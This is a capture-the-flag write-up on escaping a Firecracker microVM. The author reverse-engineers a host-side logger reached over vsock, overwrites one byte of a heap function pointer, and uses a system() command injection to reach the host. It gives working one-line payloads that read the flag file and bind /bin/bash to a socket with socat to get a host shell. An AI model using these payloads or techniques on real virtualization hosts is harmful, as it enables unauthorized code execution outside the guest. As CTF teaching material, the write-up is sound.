Hyper jump
Ok, so we have a dump file and a link. The link just leads to a web hosted terminal emulator. Poking around a bit results in some commands someone left in the .ash_history
file, as well as a binary named nc-vsock
that seems to do exactly what it sounds like.
For those of you which don't know what vsock
is, I didn't either at this point. Going through the man
page, made it slightly clearer. It seems to be a standard way of communicating between guest VMs and host systems. This might be a hint that a vsock
may be open on the host to which we can connect, but we need to understand what it leads to on the other end if he wish to execute code on the host.
The dump
Let's see what this dump has to offer. We get a file named dump
with no file extension. Running file
on it we get:
$ file dump
dump: POSIX tar archive
Ok, so it's simply a tar archive, let's extract it:
tar xvf dump
Looking around at the contents, it looks like a description of a container of some sort. We have multiple layers, where the most interesting one seems to be 2e340193af22daed9a3914489421766238363a8c41279c503b8c7f6cac0eaba4
. It simply contains a couple of nested directories, in which we can find the following:
- firecracker: A binary (a quick search online brings up a VM related project)
- fire.json: A configuration file (probably for
firecracker
) - hello-rootfs.ext4: A filesystem data file
- hello-vmlinux.bin: What seems to be a kernel
- logger: Another binary (looks like we'll have to look into it a bit more)
- master.key: A placeholder flag
- run_fc.sh: A bash script that seems to be invoked at start (according to the config files of the container)
run_fc.sh
Let's take a closer look at the bash script it all seems to start from:
rm v.sock > /dev/null 2>&1
rm v.sock_52 > /dev/null 2>&1
#socat UNIX-LISTEN:./v.sock_52 EXEC:/bin/bash &
./logger &
./firecracker --config-file fire.json --no-api
So in the first two lines we can see vsock
pop up again, but here it seems to just make sure we start with a clean state.
We then see a commented out line, probably used for debug purposes (or so is the story I take the creator of the challenge is trying to tell), I'll ignore it for now.
The only interesting part here really is executing logger
in the background.
The Logger
The logger
binary is a non-stripped elf, and it contains debug symbols (yay for us!).
It seems like we have the logger listening on ./v.sock_52
, which is created as a unix socket.
Wait a second... What?! I thought we were talking about
AF_VSOCK
. Where did thisAF_UNIX
business come from?! Well from a look at thefirecracker
github page, it seems like they just use a one to one mapping ofunix
sockets on the host andvsock
sockets on the host. It basically maps the unix socketv.sock_PORT
to the vsockPORT
on the guest (read more on the firecracker GitHub page: https://github.com/firecracker-microvm/firecracker/blob/main/docs/vsock.md).
Let's have a closer look at rest of the binary, now that we understand how we can communicate with it from within the VM.
It seems like all the logger
binary does is wait for a connection on ./v.sock_52
, and if it gets one it reads some data from it. The interesting part is when the data is non-empty, in which case it calls use_buf
use_buf
Let's take a look at the use_buf
function (taken from the Ghidra decompilation with some of my own slight modification):
void use_buf(char *in_buf, uint32_t fd)
{
undefined8 uVar1;
char *buf;
undefined8 size;
if (_rh) {
free(_rh);
}
_rh = malloc(0x38);
_rh[0x20] = handler;
memcpy(_rh, in_buf, (int64_t)(int32_t)*in_buf);
(**(code **)_rh[0x20])(in_buf);
uVar1 = strlen(_rh);
send(fd, _rh, uVar1, 0);
return;
}
So it seems like we copy our buffer to a heap allocated one and call the handler
function, but it doesn't do anything. An interesting function though is log_request
, but it has no references:
void log_request(char *request)
{
int64_t iVar1;
int64_t in_FS_OFFSET;
char *req;
char log_cmd [1034];
int64_t canary;
iVar1 = *(int64_t *)(in_FS_OFFSET + 0x28);
sprintf(log_cmd, "echo %s >> log.txt", request);
system(log_cmd);
if (iVar1 != *(int64_t *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
}
This looks like a classic command injection! All we have to do is find a way to call this function with our input, and we can just inject a semicolon followed by any command we want.
Looking back at use_buf
, it seems like we have a memcpy
of up to 255 bytes (we control how many, since it's the value of the first character we pass in) to a buffer that has 0x38
bytes allocated to it. Moreover, we call the address stored at the offset 0x20
right afterwards. We basically have control over the address of the next function called.
We don't even need to play around with checksec
or ASLR, because of a neet trick:
handler
is at offset 0x1349
, and log_request
is at offset 0x1358
. Because we are running on x86_64
which is little endian, we can simply override the least significant byte of the address of handler
(which is stored at offset 0x20
from _rh
) with 0x58
in order to make the address become the address of log_request
. All we need to do is override 0x21
bytes, and have the character at offset 0x20
(zero based) of the string be \x58
.
Doing it in Practice
According to man vsock
, the host always has the cid
of 2
. Executing the nc-vsock
with --help
, it seems it simply expects it to use the format ./nc-vsock <cid> <port>
. So communicating with the logger would simply be echo <input> | ./nc-vsock 2 52
.
Putting it All Together
So a proposed solution for getting the flag would be:
echo -en '\x21;cat master.key ; echo hellohi \x58' | ./nc-vsock 2 52
(It works!!!).
Note: the position in which the
\x58
byte appears is critical.
But we can do better. Looking at the run_fc.sh
, we can find a commented line that runs socat
to make /bin/sh
listen on the unix socket ./v.sock_52
(which is mapped to vsock 52 on the host). The command is: socat UNIX-LISTEN:./v.sock_52 EXEC:/bin/bash &
. Incorporating it into our input string sound difficult at first, because it's longer than 33 characters, but looking back at use_buf
, we can see that only the memcpy
uses part of the string, but once we call our function, we pass it all through, so the following should work:
echo -en '\x21;cat master.key ; echo hellohi \x58; socat UNIX-LISTEN:./v.sock_52 EXEC:/bin/bash &' | ./nc-vsock 2 52
We get the flag, but then executing ./nc-vsock 2 52
doesn't give us a shell. The reason is that ./v.sock_52
already exists, so we must remove it first.
Making it Simpler
I personally think that solution looks a bit messy, and it could use some tidying.
The first thing I noticed, is the \x21
in ASCII is simply !
and \x58
is simply X
.
Applying the small change we get:
echo -n '!;rm ./v.sock_52; echo hellohi X; socat UNIX-LISTEN:./v.sock_52 EXEC:/bin/bash &' | ./nc-vsock 2 52
Now it seems a bit better but we can do more. Because we already have the character X
in the rest of the input, we can simply shift it over:
echo -n '! pad; rm ./v.sock_52; socat UNIX-LISTEN:./v.sock_52 EXEC:/bin/bash &' | ./nc-vsock 2 52
Notice we are using the
X
inUNIX
in order to override the last byte of the address with the value0x58
In my opinion, this looks much better now.
(The web based terminal part of the challenge was down within a couple of days after the CTF ended, and sadly I didn't keep a copy of the flag lying around)